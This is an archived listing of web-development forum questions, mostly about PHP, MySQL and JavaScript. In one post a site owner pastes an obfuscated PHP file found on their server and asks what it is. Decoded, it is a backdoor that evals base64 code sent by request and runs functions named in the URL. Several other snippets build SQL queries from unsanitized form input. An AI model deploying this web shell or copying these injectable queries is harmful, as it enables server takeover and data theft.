52,566 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for himanshu.1691

I have a project in which i have two roles : Student Teacher I have already created a login page but i cant figure out how to redirect them to different pages according to their Roles...

Web Development mysql php
Member Avatar for broj1
0
139
Member Avatar for seemeamal

[CODE]<?php //update has an error! ?> <?php include("lock.php");// contains session details $connect=mysql_connect("localhost","root",""); mysql_select_db("login",$connect); if(isset($_POST[""])){ $dept_name=$_POST["dept_name"]; $year=$_POST["year"]; $current_sem=$_POST["current_sem"]; $total_students=$_POST["total_students"]; $regulation=$_POST["regulation"]; } //------------------------------------------------------------------------------------------------------------------ if(isset($_POST["insert"])){ if($_POST["insert"]=="yes"){ $dept_name=$_POST["dept_name"]; $year=$_POST["year"]; $current_sem=$_POST["current_sem"]; $total_students=$_POST["total_students"]; $regulation=$_POST["regulation"]; $query="insert into classprofile(dept_name,year,current_sem,total_students,regulation) values('$dept_name','$year','$current_sem','$total_students','$regulation')"; if(mysql_query($query)) echo "<center>Record Inserted!</center><br>"; } else{ echo"not inserted, try again"; } } //------------------------------------------------------------------------------------------------------------------- if(isset($_POST["update"])){ if($_POST["update"]=="yes"){ $dept_name=$_POST["dept_name"]; $year=$_POST["year"]; $current_sem=$_POST["current_sem"]; …

Web Development php session
Member Avatar for GliderPilot
0
123
Member Avatar for tqmd1

Hello Experts I have following codes [CODE]<html> <head> <script language="Javascript"> function showdate() { var currentTime = new Date() var month = currentTime.getMonth() +1 var day = currentTime.getDate() var year = currentTime.getFullYear() var hours = currentTime.getHours() var minutes = currentTime.getMinutes() var seconds = currentTime.getSeconds() alert(month + "/" + day + "/" …

Web Development javascript
Member Avatar for Troy III
0
186
Member Avatar for Violet_82

HI there, quick advice please. I am developing a [URL="http://antobbo.webspace.virginmedia.com/petras/test/egypt.htm"]photography website[/URL] for a client and I want him to be able to click on an image in a list of thumbnails and that will bring up the bigger version of the image clicked on. I have achieved this in my …

Web Development javascript
Member Avatar for Violet_82
0
216
Member Avatar for saadi06

Hi, I am stuck with a problem.I have an array that contains dates and I want to get the date ranges from this array. For example array('01/01/2012','01/02/2012','01/03/2012','01/05/2012','01/10/2012') Now I want the date range from this array And the dates are not sorted in array. Can anyone help me its quiet …

Web Development php
Member Avatar for veedeoo
0
173
Member Avatar for newbie14

I have a page at this link [url]http://183.78.169.53/lp/addRoute6.php[/url]. You can press first the add button to have at least 5 rows. So then you can select the location for the first row. Then if you select the same location for second row if it is same with the previous it …

Web Development javascript javascript-jquery
Member Avatar for AleMonteiro
0
172
Member Avatar for dushtu.bor

Please tell me why it gives me always zero value? [CODE]<?php $total =0; $memid = $_POST['username']; $leg = $_POST['leg']; mysql_connect ("host", "usr", "paswd") or die ('Error: ' .mysql_error()); mysql_select_db ("dbname"); function getTotalLeg($memid,$leg){ $sql="select $leg from `users` where `username`='$memid' "; $res=mysql_query($sql); $row=mysql_fetch_array($res); global $total; $total = $total+mysql_num_rows($res); if($row['$leg']!=''){ getTotalLeg ($row['$leg'],'lname'); getTotalLeg …

Web Development data-structure mathematics php
Member Avatar for dushtu.bor
0
187
Member Avatar for vizz

how to split [COLOR="Red"]<div></div>[/COLOR] into even and odd parts ? And how to slide even parts to top-right & odd parts to bottom-left using jquery?

Web Development javascript
Member Avatar for AleMonteiro
0
145
Member Avatar for 1981191919

hi everybody i am trying to update db using gridview but all attempts end up with failure i dont get execptions just nothing happens when i push update button <asp:GridView ID="ResultGridView" runat="server" AutoGenerateColumns="False" ShowFooter="True" DataKeyNames="VendorId" AllowPaging="True" CellPadding="3" OnPageIndexChanging="ResultGridView_PageIndexChanging" OnRowDeleting="ResultGridView_RowDeleting" OnRowEditing="ResultGridView_RowEditing" OnRowUpdating="ResultGridView_RowUpdating" OnRowCancelingEdit="ResultGridView_RowCancelingEdit" PageSize="5" BackColor="#DEBA84" BorderColor="#DEBA84" BorderStyle="None" BorderWidth="1px" CellSpacing="2" OnRowCommand="ResultGridView_RowCommand" > …

Web Development asp.net
Member Avatar for sufyan2011
0
136
Member Avatar for sammry

I am trying to generate a list of urls for the tags people who have submitted while posting their information. Data gets saved in mysql table as tags and the value comes with comma for multiple words, for example: tag1, tag2, tag3 abd saved as is in a single field. …

Web Development php
Member Avatar for veedeoo
0
194
Member Avatar for extjac

Hi there, i am trying to use the classes proplery and i have a basic question....The following is the class i am using in order to get information from the DB...It is workinkg and i dont have any problem. But the question is how do i show the information on …

Web Development php
Member Avatar for veedeoo
0
134
Member Avatar for baig772

Hi all I am working on a website and the requirement is to make it in two languages i.e. icelandic and english. just like facebook and other google, if a user selects a language, then the site is translated in that language. I am not allowed to use google translator. …

Web Development php
Member Avatar for diafol
0
126
Member Avatar for gopi17

heyy guys....i manage to connect to diff database in a single form...but how do i compare the value... for eg. now i would to compare invoice_no for the both of them [CODE] $host="localhost"; // Host name $username=""; // Mysql username $password=""; // Mysql password $db_name="test"; // Database name $tbl_name="test3"; // …

Web Development php
Member Avatar for veedeoo
0
89
Member Avatar for Motifaithed

Hi All, I'm working on a database wherein I want to input the current date into existing table upon the user enter his pin. I'm having a hard time to make it work here is my code. [CODE] <?php $result="SELECT * FROM profiletable WHERE (firstName='$_POST[assetSearch]' || lastName='$_POST[assetSearch]' || IDNumber='$_POST[assetSearch]')"; $q …

Web Development mysql php
Member Avatar for veedeoo
0
182
Member Avatar for aianne

Sorry I'm new to these stuff but I am having a hard time about this. So I'll trying to create a php and mysql program which can view records from database server. In my form I have 2 dropdown list and 2 submit button, the first one the the list …

Web Development php
Member Avatar for aianne
0
879
Member Avatar for HasNor

hi all... i have a problem when my boss ask me to do something that i don't know how to do it.. i need the idea for increment ID that will count by date.. For example today is 7/3/2012,user send request then id become AB-070312-1, user send other request at …

Web Development php
Member Avatar for HasNor
0
162
Member Avatar for nexocentric

Before I post my problem I would like you in advance for taking the time to read this. I've been using simpletest to help me develop and test my php scripts. I'm currently working on a session class and when I go to test it I get the following exception …

Web Development php session
Member Avatar for nexocentric
0
238
Member Avatar for mlhazan

I spent almost whole evening to understand the following code: [CODE] <?php $link = mysql_connect('localhost', 'root', 'root'); if (!$link) { die('Could not connect: ' . mysql_error()); } $db_selected = mysql_select_db('database_1.1'); if (!$db_selected) { die('Could not select database: ' . mysql_error()); } $query = 'SELECT last_name, first_name FROM Employee'; $result = …

Web Development php
Member Avatar for scaiferw
0
135
Member Avatar for caltech

Hey, I'm building a website for this business, using HTML, CSS, PHP and AJAX for dynamic content. I'm trying to make a page which will display the thumbnail of each profile image, and have each thumbnail link to the corresponding profile. How exactly I can go about executing this, I'm …

Web Development html-css php
Member Avatar for caltech
0
155
Member Avatar for Surfsup

When the cursor enters div.round I want div#expand to appear. This is happenning fine. When I remove my cursor I want the div#expand to remain visible - this is also working. Then to close div#expand I want to click a#one - this is the bit that's not working with my …

Web Development javascript javascript-jquery
Member Avatar for AleMonteiro
0
190
Member Avatar for bflack

I've created this function and I wonder if ever I COULD USE VARIABLES IN reading column values on database table. [CODE] function vote($column, $imgid)//the $column stands for a variable handling a string I've passed from my previous call. For now I am setting it as a string named "likes" which …

Web Development mysql php
Member Avatar for scaiferw
0
131
Member Avatar for programmer12

Hi I created some codes to upload my videos on the website, but for some reason it stopped working. Can Someone please help me debug the issues thanks! [CODE]<?php $username = "root"; $password = ""; $hostname = "localhost"; $database = "name_of_database"; $db = mysql_connect($hostname, $username, $password); mysql_select_db($database, $db); $path = …

Web Development php
Member Avatar for veedeoo
0
164
Member Avatar for sess4561

hi guys, how are you? I hope someone can help me with this as its been bugging me all day, and I'm sure there is a very simple explanation. Basically, what I have at the moment is this:- [CODE] $ip = ($_SERVER["REMOTE_ADDR"]); $xml = file_get_contents("http://xxxxxxxxxxxxxx); [/CODE] This returns me the …

Web Development php xml
Member Avatar for veedeoo
0
183
Member Avatar for whit89

Im trying to compare an entered value in a drop down box to see if an asset is available for use. At the moment its is From - Duration - Could i be better with From - To- Which would be easier to implement. Ive attached what i have so …

Web Development php
Member Avatar for diafol
0
271
Member Avatar for whit89

how would i go about filling one multi-select box with the result of a previous one [CODE] <select value ="cars" name="cars[]" multiple="multiple"> <option value="">-- Select software type / Optional / --</option> <option value="suv" >web</option> <option value="sports" >design</option> <option value="utility" >misc</option> <select value ="cars" name="cars[]" multiple="multiple"> $option .= '<option value="">-- CARS--</option>'; …

Web Development php web-design
Member Avatar for whit89
0
130
Member Avatar for jetlife76

Hi Guys, i am working on a project for class that inputs 6 grades into text boxes and gives the numerical average and the letter grade. i am still not quite grasping Visual Studio so please bare with me. I am confused on how to get the grades to post …

Web Development asp.net visual-studio
Member Avatar for Consider
0
120
Member Avatar for ginG3R

Hey guys, am a newbie and I searched I didn't see this question somewhere. If it exist, forgive me. I need help in redirecting url. I want to redirect users from [url]www.ammotorllc.com[/url] to [url]www.ammotorsllc.com[/url]. I want it that when people type the first, it will automatically switch them to the …

Web Development http-protocol xml
Member Avatar for JorgeM
0
929
Member Avatar for Duki

Hey everyone, Trying to configure an apache web server on my home network and had a question about port forwarding. I have my router set to forward everything on port 80 to the webserver, but I wanted to see if there were any ramifications of this that I may not …

Web Development apache dns web-server xml
Member Avatar for JorgeM
0
135
Member Avatar for himanshu.1691

I am using a page where rows get fetched from database... now what i want to do is open a new link for each row... you will understand it when you see the screenshot....i have attached it.... I want to somehow redirect the link to other page with the value …

Web Development html-css javascript-jquery php
0
60
Member Avatar for mackyflores

[ICODE]Help me please. I want to display specific data from the database. i dont know what is the code. For example: in the database of reservation. I want to display only the name, address, contact number, company, and the details of his/her reservation. please help me guys. thanks a lot. …

Web Development php
Member Avatar for sDJh
0
78
Member Avatar for programmer12

Hi, I am designing a E-commerce site. I have designed a way for the customers to view their previous orders, but for some reason there is a problem. The codes that you see below work but the while loop keeps stopping at 2 items when there should be more. Can …

Web Development php
Member Avatar for programmer12
0
203
Member Avatar for shamed

Hello, I have this multiple checklist and I cannot figure out how to enter the checked values into the database. The table is called "colors" and the column name is "color" and is of type "text". add_color.php [CODE] <?php // connect to database require "mysql_connect.php"; ?> <?php // get value …

Web Development php sql
Member Avatar for pritaeas
0
122
Member Avatar for swilliamrobert

Hai, I downloaded and install sugar crm in my localhost.Inside the folder there is soap.php. when i run the file, all functions and wsdl file there. I want to create on soap client and access the WSDL url using my localhost. this is WSDL file URL( http:/localhost/scrm/soap.php?wsdl ) I want …

Web Development php session
Member Avatar for pritaeas
0
247
Member Avatar for slyme

I found a file called 4be7.php in the root of my web site. I guess my first worry is how did it get there? Well, I've changed my FTP log on, what else can I do? Secondly, what is it? Here's what's in it: [CODE]<?php //176e622a9e272282a4a56a9100f5b75d $_= //ppZiAAS8dDJF9Q*(#_+@#TWyJ 'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K'; //ppZiAAS8dDJF9Q*(#_+@#TWyJ …

Web Development php
Member Avatar for slyme
0
278
Member Avatar for DriftingSteps

Hello there! I'll make this short and simple. I need help with the following - 1. Disable right-click in my webpage, 2. Disable "View Page Source" option. I've seen point no.1 implied in many websites, but haven't seen point no.2 anywhere. So can you help me with these? Thanks in …

Web Development javascript
Member Avatar for 098
0
2K
Member Avatar for Ctechnology24

guys please help me how can I print the contents of my div in mozilla because it runs properly in opera mini and google chrome, well actually it still prints but the only content is "undefined" instead of the real contents of the div this is my codes [CODE] <head> …

Web Development javascript
Member Avatar for Ctechnology24
0
167
Member Avatar for pras0784

Hi friends, I have installed event calendar plugin on my [URL="http://www.totalnetworkingandconsulting.com/"]website[/URL] I started facing problem since yesterday. If I deactivate this plugin then I can see all pages fine over my website but if I activate the plugin, then each page is showing blank calendar page. each URL is showing …

Web Development php wordpress
Member Avatar for pritaeas
0
104
Member Avatar for prakashmca07

Could anyone tell me whether datagrid in asp.net can be used without database bcos if it is used means not visible during runtime.. anyone can advise if u know in this regard.........

Web Development asp.net
Member Avatar for rispy
0
124
Member Avatar for anthonyjpv

Hi! Part of my website development is being able to recover a password and upon reading the owasp page i found out that the best one is having a temp password and an expiration my customers table doesnt have a date column nor temp pw column do I have to …

Web Development php
Member Avatar for anthonyjpv
0
171
Member Avatar for shaqib

i want to monitor, stop and stop a service. but cant get a clue hot to do that. the monitor is ok by using this code: <pre><p></p> <span class="style1"><b>Service asterisk:</b> </span> <?php system("/var/www/html/cam/mysql.sh"); ?></br> </pre> and in the file services.sh service mysql status i have also use: <?php $mysql = …

Web Development php
Member Avatar for rch1231
0
191
Member Avatar for SQLpower

For example, I have a form that passes the username, the year of birth and the password. Is there anyway I can retrieve information from the database(using an SQL query) if the user is an admin and then convert it to a $_SESSION['admin'];? How can I retrieve additional information about …

Web Development php session
Member Avatar for SQLpower
0
2K
Member Avatar for subrata_ushasi

Hi, I have one text box and one submit button.What I want is ,if I enter value in text box and press submit one by one that will echo on the form .

Web Development php
Member Avatar for subrata_ushasi
0
154
Member Avatar for fabzster

Hi We have a competition running that I would like to automate getting the results with PHP from my MYSQL DB. I can run a query on the Database to get the following results Consultant1 20 sales Consultant2 10 sales Consultant3 5 sales Consultant4 1 sales Consultant5 3 sales Consultant6 …

Web Development mysql php
Member Avatar for fabzster
0
306
Member Avatar for bavenbabu

I am new to php...I wanna to show a loading image when the page is loading something in php...any help would be appreciated

Web Development php
Member Avatar for diafol
0
125
Member Avatar for bavenbabu

I am using php to list out categories for a particular item while making blog.But i am listing out all the categories which are present in database in the list.I created a category table in my database.my code is listed as follows: [CODE] <?php include 'connection.php'; $list ="select name from …

Web Development database-design display php
Member Avatar for diafol
0
108
Member Avatar for Cyre

Hi There! Can you please help me with this. On the first page of my page I created a Textbox named="Student", on the second page I just $_POST its name and the value goes through the textbox and now I wanted to show it Again on the Third box, I …

Web Development php
Member Avatar for mohamedasif18
0
139
Member Avatar for BlurrieBlue

I had done my CR with version 8.0 and I can load the report successful with asp.net coding but failed to do the same for asp. Does anyone have any code sample or any reference? I had googled it but failed to get any answer. Thanks in advance.

Web Development asp
Member Avatar for BlurrieBlue
0
130
Member Avatar for amm038

hi i face w problem when displaying the information from the database i store the information succefully but when i want to display the info all info appear in one line like i add this information to the database. my name is unkonwn it appears like this like i add …

Web Development asp.net
Member Avatar for hericles
0
148
Member Avatar for Mykybo

Hi, I am new to php, and I need to do multiply image upload. Right now I have single image upload which is not working.., so any adive would be appreciated. Here is part of form I use for image upload: [CODE] <i>Vyber obrázek:</i> <input type="file" name="imagefile" /> <br /><br …

Web Development file-system php
Member Avatar for Mykybo
0
142
Member Avatar for bo0ga

Note: I'm very new to everything so please bare with me. Say I have a form on a website which asks for your first name, last name, and email address. Upon clicking submit, I want the data to be transferred and saved to a Microsoft Access Database. How do you …

Web Development microsoft-access php
Member Avatar for bo0ga
0
121

The End.